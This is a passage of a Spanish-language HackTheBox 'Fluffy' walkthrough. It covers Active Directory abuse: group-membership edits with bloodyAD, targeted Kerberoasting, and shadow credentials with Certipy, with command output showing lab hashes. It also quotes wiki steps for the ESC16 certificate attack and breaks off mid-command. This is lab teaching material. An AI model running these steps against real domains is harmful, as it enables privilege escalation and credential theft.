&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Veo un camino claro hacia &lt;code&gt;ca_svc&lt;/code&gt; (miembro de &lt;em&gt;cert publisher&lt;/em&gt;) desde &lt;code&gt;p.agila&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-802a-9f89-ce914dc839b7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Aprovecho permisos para añadir &lt;code&gt;p.agila&lt;/code&gt; al grupo &lt;code&gt;service accounts&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bloodyAD -u &lt;span style="color:#e6db74"&gt;&amp;#39;p.agila&amp;#39;&lt;/span&gt; -p &lt;span style="color:#e6db74"&gt;&amp;#39;prometheusx-303&amp;#39;&lt;/span&gt; -d fluffy.htb --host &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 add groupMember &lt;span style="color:#e6db74"&gt;&amp;#39;service accounts&amp;#39;&lt;/span&gt; p.agila
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="kerberoasting-dirigido-targetedkerberoast"&gt;Kerberoasting dirigido (targetedKerberoast)&lt;/h3&gt;
&lt;p&gt;Ahora uso &lt;a href="http://targetedkerberoast.py/"&gt;&lt;code&gt;targetedKerberoast.py&lt;/code&gt;&lt;/a&gt; para extraer hashes. Antes sincronizo reloj.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Fluffy/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# ntpdate fluffy.htb &amp;amp;&amp;amp; &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;targetedKerberoast.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -v -d &lt;span style="color:#e6db74"&gt;&amp;#39;fluffy.htb&amp;#39;&lt;/span&gt; -u &lt;span style="color:#e6db74"&gt;&amp;#39;p.agila&amp;#39;&lt;/span&gt; -p &lt;span style="color:#e6db74"&gt;&amp;#39;prometheusx-303&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;56.676545&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;+0100&lt;/span&gt;) &lt;span style="color:#ae81ff"&gt;+25199.665597&lt;/span&gt; +/- &lt;span style="color:#ae81ff"&gt;0.037951&lt;/span&gt; fluffy.htb &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 s1 no-leap
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CLOCK&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; time stepped by &lt;span style="color:#ae81ff"&gt;25199.665597&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Starting kerberoast attacks
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Fetching usernames from Active Directory with LDAP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Printing hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (ca_svc)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$krb5tgs$23$*ca_svc$FLUFFY.HTB$fluffy.htb/ca_svc*$6b56d380186cf766215630dc2a4a2509$...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Printing hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (ldap_svc)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$krb5tgs$23$*ldap_svc$FLUFFY.HTB$fluffy.htb/ldap_svc*$170ab6e4fc848133b7b3af897c0300c2$...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Printing hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (winrm_svc)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$krb5tgs$23$*winrm_svc$FLUFFY.HTB$fluffy.htb/winrm_svc*$19c1771a343c902076eee1003cf0e4d5$...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Intento crackear, pero no saco nada útil.&lt;/p&gt;
&lt;h3 id="shadow-credentials-con-certipy"&gt;Shadow Credentials con Certipy&lt;/h3&gt;
&lt;p&gt;Cambio de enfoque y pruebo &lt;strong&gt;Shadow Credentials&lt;/strong&gt;. La idea aquí es modificar el atributo &lt;code&gt;msDS-KeyCredentialLink&lt;/code&gt; para poder autenticarse con PKINIT sin conocer la contraseña.&lt;/p&gt;
&lt;p&gt;Ejecuto:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ntpdate -u fluffy.htb &amp;amp;&amp;amp; certipy-ad shadow auto -username p.agila@fluffy.htb -password &lt;span style="color:#e6db74"&gt;&amp;#39;prometheusx-303&amp;#39;&lt;/span&gt; -account ca_svc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;18.579036&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;+0100&lt;/span&gt;) &lt;span style="color:#ae81ff"&gt;+25199.672015&lt;/span&gt; +/- &lt;span style="color:#ae81ff"&gt;0.024036&lt;/span&gt; fluffy.htb &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 s1 no-leap
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CLOCK&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; time stepped by &lt;span style="color:#ae81ff"&gt;25199.672015&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certipy v4.8.2 - by Oliver Lyak (ly4k)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Targeting user &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Generating certificate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Certificate generated
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Generating Key Credential
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Key Credential generated with DeviceID &lt;span style="color:#e6db74"&gt;&amp;#39;224a33db-8f3b-e338-547f-7e9041c661cd&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Adding Key Credential with device ID &lt;span style="color:#e6db74"&gt;&amp;#39;224a33db-8f3b-e338-547f-7e9041c661cd&amp;#39;&lt;/span&gt; to the Key Credentials &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Successfully added Key Credential with device ID &lt;span style="color:#e6db74"&gt;&amp;#39;224a33db-8f3b-e338-547f-7e9041c661cd&amp;#39;&lt;/span&gt; to the Key Credentials &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Authenticating as &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt; with the certificate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Using principal&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; ca_svc@fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to get TGT...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Got TGT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saved credential cache to &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc.ccache&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to retrieve NT hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[-] Got error&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Kerberos SessionError&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; KRB_AP_ERR_SKEW(Clock skew too great)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[-] Use -debug to print a stacktrace
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aunque aquí no saco el NT hash por el &lt;em&gt;clock skew&lt;/em&gt;, sí obtengo un TGT. Luego vuelvo atrás para corregir la parte de sincronización y generar el &lt;code&gt;.pfx&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ntpdate -u fluffy.htb &amp;amp;&amp;amp; certipy-ad shadow add -username p.agila@fluffy.htb -password &lt;span style="color:#e6db74"&gt;&amp;#39;prometheusx-303&amp;#39;&lt;/span&gt; -account ca_svc -dc-ip &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Targeting user &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Generating certificate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Certificate generated
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Generating Key Credential
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Key Credential generated with DeviceID &lt;span style="color:#e6db74"&gt;&amp;#39;50de2216-d7b5-75e9-0e19-555d205a9a10&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Adding Key Credential with device ID &lt;span style="color:#e6db74"&gt;&amp;#39;50de2216-d7b5-75e9-0e19-555d205a9a10&amp;#39;&lt;/span&gt; to the Key Credentials &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Successfully added Key Credential with device ID &lt;span style="color:#e6db74"&gt;&amp;#39;50de2216-d7b5-75e9-0e19-555d205a9a10&amp;#39;&lt;/span&gt; to the Key Credentials &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saved certificate and private key to &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc.pfx&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con el &lt;code&gt;.pfx&lt;/code&gt; ya puedo pedir el hash NT:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ntpdate -u fluffy.htb &amp;amp;&amp;amp; certipy-ad auth -pfx ca_svc.pfx -dc-ip &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 -username ca_svc -domain fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[!] Could not find identification &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; the provided certificate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Using principal&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; ca_svc@fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to get TGT...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Got TGT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saved credential cache to &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc.ccache&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to retrieve NT hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Got hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc@fluffy.htb&amp;#39;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; aad3b435b51404eeaad3b435b51404ee&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ca0f4f9e9eb8a092addf53bb03fc98c8
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A partir de aquí, asumo que tengo delante una infraestructura &lt;strong&gt;AD CS&lt;/strong&gt; (por la cuenta de servicio de CA).&lt;/p&gt;
&lt;h3 id="enumeración-ad-cs-y-detección-de-esc16"&gt;Enumeración AD CS y detección de ESC16&lt;/h3&gt;
&lt;p&gt;Busco plantillas/vulnerabilidades con Certipy:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certipy-ad find -u &lt;span style="color:#e6db74"&gt;&amp;#39;ca_svc&amp;#39;&lt;/span&gt; -hashes &lt;span style="color:#e6db74"&gt;&amp;#39;:ca0f4f9e9eb8a092addf53bb03fc98c8&amp;#39;&lt;/span&gt; -dc-ip &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 -vulnerable -enabled -stdout
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [!] Vulnerabilities
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ESC16 &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Security Extension is disabled.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; [*] Remarks
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ESC16 &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Other prerequisites may be required &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; this to
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;be exploitable. See the wiki &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; more details.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certificate Templates &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; [!] Could not find any certificate templates
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aquí dejo el extracto de la wiki que estuve siguiendo para ESC16 (tal cual lo apunté):&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;“Exploitation with Certipy&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The exploitation mechanisms for ESC16 are identical to those for ESC9 because the end result - a certificate lacking the SID security extension - is the same. The important difference is that for ESC16, &lt;em&gt;any&lt;/em&gt; certificate template enabling client authentication and issued by this misconfigured CA can be used in the UPN manipulation attack, not just a template specifically flagged with &lt;code&gt;CT_FLAG_NO_SECURITY_EXTENSION&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scenario A: UPN Manipulation (Requires&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;StrongCertificateBindingEnforcement = 1&lt;/code&gt;&lt;/strong&gt; &lt;strong&gt;(Compatibility) or&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;0&lt;/code&gt;&lt;/strong&gt; &lt;strong&gt;(Disabled) on DCs, and attacker has write access to a &amp;ldquo;victim&amp;rdquo; account&amp;rsquo;s UPN)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Attacker (&lt;code&gt;attacker@corp.local&lt;/code&gt;) has &lt;code&gt;GenericWrite&lt;/code&gt; permission over a &amp;ldquo;victim&amp;rdquo; account (&lt;code&gt;victim@corp.local&lt;/code&gt;). The &lt;code&gt;victim&lt;/code&gt; account can enroll in &lt;em&gt;any suitable client authentication template&lt;/em&gt; (e.g., the default &amp;ldquo;User&amp;rdquo; template) on the ESC16-vulnerable CA. The target for impersonation is &lt;code&gt;administrator@corp.local&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Read initial UPN of the victim account (Optional - for restoration).&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certipy account \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -u &amp;#39;attacker@corp.local&amp;#39; -p &amp;#39;Passw0rd!&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -dc-ip &amp;#39;10.0.0.100&amp;#39; -user &amp;#39;victim&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; read
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Expected Output Snippet:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certipy v5.0.0 - by Oliver Lyak (ly4k)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Reading attributes for &amp;#39;victim&amp;#39;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cn : Victim
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; userPrincipalName : victim@CORP.LOCAL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Update the victim account&amp;rsquo;s UPN to the target administrator&amp;rsquo;s&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;sAMAccountName&lt;/code&gt;****.&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certipy account \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -u &amp;#39;attacker@corp.local&amp;#39; -p &amp;#39;Passw0rd!&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -dc-ip &amp;#39;10.0.0.100&amp;#39; -upn &amp;#39;administrator&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -user &amp;#39;victim&amp;#39; update
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Expected Output Snippet:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certipy v5.0.0 - by Oliver Lyak (ly4k)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Updating user &amp;#39;victim&amp;#39;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; userPrincipalName : administrator
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Successfully updated &amp;#39;victim&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Step 3: (If needed) Obtain credentials for the &amp;ldquo;victim&amp;rdquo; account (e.g., via Shadow Credentials).&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certipy shadow \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -u &amp;#39;attacker@corp.local&amp;#39; -p &amp;#39;Passw0rd!&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -dc-ip &amp;#39;10.0.0.100&amp;#39; -account &amp;#39;victim&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; auto
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Expected Output Snippet:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certipy v5.0.0 - by Oliver Lyak (ly4k)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saving credential cache to &amp;#39;victim.ccache&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Wrote credential cache to &amp;#39;victim.ccache&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] NT hash for &amp;#39;victim&amp;#39;: fc525c9683e8fe067095ba2ddc971889
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Request a certificate as the &amp;ldquo;victim&amp;rdquo; user from&lt;/strong&gt; &lt;em&gt;&lt;strong&gt;any suitable client authentication template&lt;/strong&gt;&lt;/em&gt; &lt;strong&gt;(e.g., &amp;ldquo;User&amp;rdquo;) on the ESC16-vulnerable CA.&lt;/strong&gt; Because the CA is vulnerable to ESC16, it will automatically omit the SID security extension from the issued certificate, regardless of the template&amp;rsquo;s specific settings for this extension. Set the Kerberos credential cache environment variable (shell command):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export KRB5CCNAME=victim.ccache
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then request the certificate:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;certipy req \
